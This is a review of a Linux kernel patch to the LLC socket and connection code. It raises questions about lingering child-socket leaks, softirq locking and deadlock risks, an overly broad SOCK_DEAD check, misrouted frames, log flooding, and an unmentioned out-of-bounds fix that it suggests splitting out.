> diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
> index b0447c33dbf09..837b8e0348637 100644
> --- a/net/llc/af_llc.c
> +++ b/net/llc/af_llc.c
> @@ -206,6 +207,9 @@ static int llc_ui_release(struct socket *sock)
>  		llc->laddr.lsap, llc->daddr.lsap);
>  	if (!llc_send_disc(sk))
>  		llc_ui_wait_for_disc(sk, READ_ONCE(sk->sk_rcvtimeo));
> +	listener = sk->sk_state == TCP_LISTEN;
> +	if (listener)
> +		sock_set_flag(sk, SOCK_DEAD);

[Severity: High]
This isn't a leak introduced by this patch, since unaccepted children leaked
in every case before it, but does this branch leave one reachable case
unfixed?

The cleanup is gated on the socket's current sk_state, so a socket that was
a listener but has since left TCP_LISTEN skips both llc_release_incoming_children()
calls.

llc_ui_listen() leaves sock->state as SS_UNCONNECTED, and llc_ui_connect()
rejects only addrlen, family, sk_type and sock->state == SS_CONNECTING:

net/llc/af_llc.c:llc_ui_connect() {
	...
	rc = -EALREADY;
	if (unlikely(sock->state == SS_CONNECTING))
		goto out;
	...
	sock->state = SS_CONNECTING;
	sk->sk_state   = TCP_SYN_SENT;
}

So connect() on a listening socket that already has an LLC_INCOMING_QUEUED
indication on its receive queue is allowed and moves sk_state away from
TCP_LISTEN.  llc_ui_accept() then refuses to consume the indication because
it requires sk_state == TCP_LISTEN, and at close time listener is false.

llc_sk_free() only does skb_queue_purge(&sk->sk_receive_queue), which frees
the indication skb but never calls llc_release_incoming_sock() for the child
it referenced.  Does the child then stay in the SAP tables forever, holding
the dev_hold() reference taken in llc_create_incoming_sock() (blocking
netdev unregistration) and the new sock_hold() on the closed listener?

>  	if (!sock_flag(sk, SOCK_ZAPPED)) {
>  		struct llc_sap *sap = llc->sap;
>  
> @@ -214,16 +218,20 @@ static int llc_ui_release(struct socket *sock)
>  		 */
>  		llc_sap_hold(sap);
>  		llc_sap_remove_socket(llc->sap, sk);
> +		if (listener)
> +			llc_release_incoming_children(sk);
>  		release_sock(sk);
>  		llc_sap_put(sap);
>  	} else {
> +		if (listener)
> +			llc_release_incoming_children(sk);
>  		release_sock(sk);
>  	}

[Severity: High]
Is it safe to call llc_release_incoming_children() here with softirqs
enabled?  This path holds only lock_sock(sk), and lock_sock_nested() ends
with spin_unlock_bh(), so softirqs are on.  llc_release_incoming_children()
then takes the child's slock with a plain spin_lock():

net/llc/llc_conn.c:llc_release_incoming_children() {
	...
		if (newsk != sk)
			bh_lock_sock_nested(newsk);
	...
}

The same slock is taken from softirq context by the receive path and by the
LLC timer callbacks:

net/llc/llc_c_ac.c:llc_conn_tmr_common_cb() {
	...
	bh_lock_sock(sk);
	...
}

While that child lock is held the child is still published in the SAP hash
(llc_sap_remove_socket() only runs later inside llc_release_incoming_sock())
and llc_estab_match() still matches it, so can a NET_RX softirq on the same
CPU look up that child and spin on the held lock?

The window is even opened from inside the critical section:
llc_release_incoming_sock() -> llc_sap_remove_socket() does
spin_unlock_bh(&sap->sk_lock), whose local_bh_enable() runs pending softirqs
while the child's plain spin_lock is still held:

llc_ui_release()
  llc_release_incoming_children()
    bh_lock_sock_nested(child)
      llc_release_incoming_sock(child)
        llc_sap_remove_socket()
          spin_unlock_bh(&sap->sk_lock)   /* runs softirqs */
            llc_rcv() -> llc_conn_handler() -> bh_lock_sock(child)

Elsewhere LLC wraps such acquisitions in local_bh_disable(), for example
llc_lookup_established().  Would a lockdep inconsistent softirq-on /
in-softirq usage report also fire here on CONFIG_PROVE_LOCKING?

[ ... ]

> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54c..bc05a5f66f95f 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c
> @@ -354,7 +360,8 @@ static int llc_conn_service(struct sock *sk, struct sk_buff *skb)
>  	struct llc_sock *llc = llc_sk(sk);
>  	int rc = 1;
>  
> -	if (llc->state > NBR_CONN_STATES)
> +	if (llc->state < LLC_CONN_STATE_ADM ||
> +	    llc->state > NBR_CONN_STATES)
>  		goto out;

[Severity: Medium]
This isn't a bug introduced by this patch, but could this hunk be split out
with its own changelog?  The added lower bound looks like it fixes a
distinct, remotely reachable out-of-bounds access that the commit message
does not mention.

Without it, llc_qualify_conn_ev() indexes element -1 when llc->state is
LLC_CONN_OUT_OF_SVC (0) and then calls function pointers read from there:

net/llc/llc_conn.c:llc_qualify_conn_ev() {
	struct llc_conn_state *curr_state =
					&llc_conn_state_table[llc->state - 1];
	...
}

State 0 is reachable from a received frame, since llc_adm_state_trans_5 has:

net/llc/llc_c_st.c
static const struct llc_conn_state_trans llc_adm_state_trans_5 = {
	.ev	       = llc_conn_ev_rx_any_frame,
	.next_state    = LLC_CONN_OUT_OF_SVC,
	...
};

and llc_estab_match() does not filter on llc->state, so the socket keeps
being returned by __llc_lookup() for subsequent frames.  As written, a
stable backporter has no indication that a memory-safety fix is included
here.

[ ... ]

> +void llc_release_incoming_children(struct sock *sk)
> +{
> +	struct sk_buff *skb;
> +
> +	while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
> +		struct sock *newsk = skb->sk;
> +
> +		if (newsk != sk)
> +			bh_lock_sock_nested(newsk);
> +		if (newsk != sk) {
> +			llc_release_incoming_sock(newsk);
> +			kfree_skb(skb);
> +			bh_unlock_sock(newsk);
> +		} else {
> +			kfree_skb(skb);
> +		}
> +	}
> +}

[ ... ]

> @@ -795,10 +921,25 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  	bh_lock_sock(sk);
> +	if (unlikely(sock_flag(sk, SOCK_DEAD)))
> +		goto drop_unlock;

[Severity: Medium]
Is this test too broad?  llc_ui_release() only sets SOCK_DEAD when the
socket is in TCP_LISTEN, but this check runs right after __llc_lookup() and
so applies to every socket the lookup returns.

Existing code already sets SOCK_DEAD on ordinary established stream sockets
when the peer disconnects:

net/llc/llc_conn.c:llc_conn_state_process() {
	case LLC_DISC_PRIM:
		...
		if (sk->sk_type == SOCK_STREAM &&
		    sk->sk_state == TCP_ESTABLISHED) {
			...
			if (!sock_flag(sk, SOCK_DEAD)) {
				sock_set_flag(sk, SOCK_DEAD);
				sk->sk_state_change(sk);
			}
		}
}

At that point the socket is still published in the SAP tables, because
llc_sap_remove_socket() only runs from llc_ui_release(), and
llc_estab_match() still matches it.  After such a peer-initiated disconnect,
are all further frames for that tuple now silently dropped instead of
running the ADM-state transitions that answer retransmitted DISC and other
commands with DM responses (llc_adm_state_trans_3 and
llc_adm_state_trans_4)?  That is the same protocol behaviour this patch
open-codes for listeners in llc_conn_send_dm_rsp().

Would distinguishing the listener case, for instance testing
sk->sk_state == TCP_LISTEN together with SOCK_DEAD, or using a dedicated
flag, be closer to the intent?

> +	if (newsk_lookup_ref) {
> +		bh_lock_sock_nested(newsk);
> +		newsk_locked = true;
> +		if (atomic_read(&llc_sk(newsk)->incoming_state) !=
> +		    LLC_INCOMING_PENDING)
> +			goto retry_unlock;
> +	}
>  	/*
>  	 * This has to be done here and not at the upper layer ->accept
>  	 * method because of the way the PROCOM state machine works:
> @@ -795,10 +921,25 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  	 * in the newly created struct sock private area. -acme
>  	 */
>  	if (unlikely(sk->sk_state == TCP_LISTEN)) {

[Severity: Medium]
When the lookup returned an LLC_INCOMING_PENDING child, sk was re-pointed at
the child's incoming_listener and only SOCK_DEAD was validated afterwards.
What happens if that socket is no longer TCP_LISTEN?

This condition is then false and control falls into the non-listener else
branch:

	} else {
		skb_orphan(skb);
		sock_hold(sk);
		skb->sk = sk;
		skb->destructor = sock_efree;
	}

so the child's PDU is fed into the ex-listener's own connection state
machine, since llc_conn_state_process() runs llc_conn_service(skb->sk, skb).
The backlog path guards exactly this case:

net/llc/llc_conn.c:llc_backlog_rcv() {
	...
			if (sock_flag(sk, SOCK_DEAD) ||
			    sk->sk_state != TCP_LISTEN)
				goto out_unlock_newsk;
	...
}

Reachability looks similar to the llc_ui_release() case above: connect() on
a listening socket is permitted and sets sk_state to TCP_SYN_SENT under
lock_sock(), a SABME that arrived while the lock was owned leaves a PENDING
child, and a second frame for that tuple arriving before release_sock()
drains the backlog takes the redirect path with sk_state == TCP_SYN_SENT.
Can a frame from peer A then drive the state machine of a socket that is
connecting to peer B, while the PENDING child is torn down by
llc_release_incoming_sock() without its frame ever being processed for it?

[ ... ]

> @@ -852,12 +1013,38 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
>  {
>  	int rc = 0;
>  	struct llc_sock *llc = llc_sk(sk);
> +	struct sock *newsk = NULL;
>  
>  	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
> -		if (likely(llc->state > 1)) /* not closed */
> +		newsk = skb->sk;
> +		if (newsk &&
> +		    atomic_read(&llc_sk(newsk)->incoming_state) ==
> +		    LLC_INCOMING_PENDING) {
> +			bh_lock_sock_nested(newsk);

[Severity: High]
Same locking question as in llc_release_incoming_children(): this handler
runs from release_sock() -> __release_sock(), which drops the parent slock
with spin_unlock_bh() and even calls cond_resched() in that loop:

net/core/sock.c:__release_sock() {
		spin_unlock_bh(&sk->sk_lock.slock);
		while (1) {
			...
			sk_backlog_rcv(sk, skb);
	...
}

so softirqs are enabled here too.  Can these bh_lock_sock_nested() and
bh_lock_sock() acquisitions on the child (also in the retry,
out_unlock_newsk and out_kfree_skb paths) deadlock against the same lock
taken from llc_rcv() -> llc_conn_handler() or from the LLC timer callbacks
on the same CPU?  The child slock is additionally held across a full
llc_conn_rcv() state-machine run, including dev_queue_xmit().

> +			if (atomic_read(&llc_sk(newsk)->incoming_state) !=
> +			    LLC_INCOMING_PENDING) {
> +				bh_unlock_sock(newsk);
> +				goto retry;
> +			}
> +			if (sock_flag(sk, SOCK_DEAD) ||
> +			    sk->sk_state != TCP_LISTEN)
> +				goto out_unlock_newsk;
>  			rc = llc_conn_rcv(sk, skb);
> -		else
> +			if (atomic_read(&llc_sk(newsk)->incoming_state) ==
> +			    LLC_INCOMING_PENDING)
> +				llc_release_incoming_sock(newsk);
> +			bh_unlock_sock(newsk);
> +		} else if (newsk &&
> +			   atomic_read(&llc_sk(newsk)->incoming_state) ==
> +			   LLC_INCOMING_QUEUED) {
> +			bh_lock_sock(newsk);
> +			rc = llc_conn_rcv(newsk, skb);
> +			bh_unlock_sock(newsk);
> +		} else if (likely(llc->state > 1)) {
> +			rc = llc_conn_rcv(sk, skb);
> +		} else {
>  			goto out_kfree_skb;
> +		}

[Severity: Medium]
The new QUEUED branch dispatches into llc_conn_rcv(newsk, skb) with no
closed-state filter, while the surviving else-if branch still keeps the
llc->state > 1 test.  Combined with the new lower bound in
llc_conn_service(), does a frame for a child left in LLC_CONN_OUT_OF_SVC now
produce one unratelimited log line per frame?

llc_conn_service() returns 1 for state below LLC_CONN_STATE_ADM, and
llc_conn_state_process() prints unconditionally:

net/llc/llc_conn.c:llc_conn_state_process() {
	rc = llc_conn_service(skb->sk, skb);
	if (unlikely(rc != 0)) {
		printk(KERN_ERR "%s: llc_conn_service failed\n", __func__);
		goto out_skb_put;
	}
	...
}

State 0 looks remotely reachable: a child back in ADM (NORMAL plus rx DISC)
that then receives any frame that is neither SABME, DISC nor a command with
P=1 hits llc_adm_state_trans_5 with .next_state = LLC_CONN_OUT_OF_SVC and a
no-op action, while it is still hashed in the SAP table and matched by
llc_estab_match().  Every further frame for that tuple would then reach this
branch, and the direct llc_conn_rcv() path in llc_conn_handler(), and emit
another KERN_ERR line.  Would filtering the closed state in these new
branches be preferable to letting llc_conn_service() fail?

[ ... ]
-- 
pw-bot: cr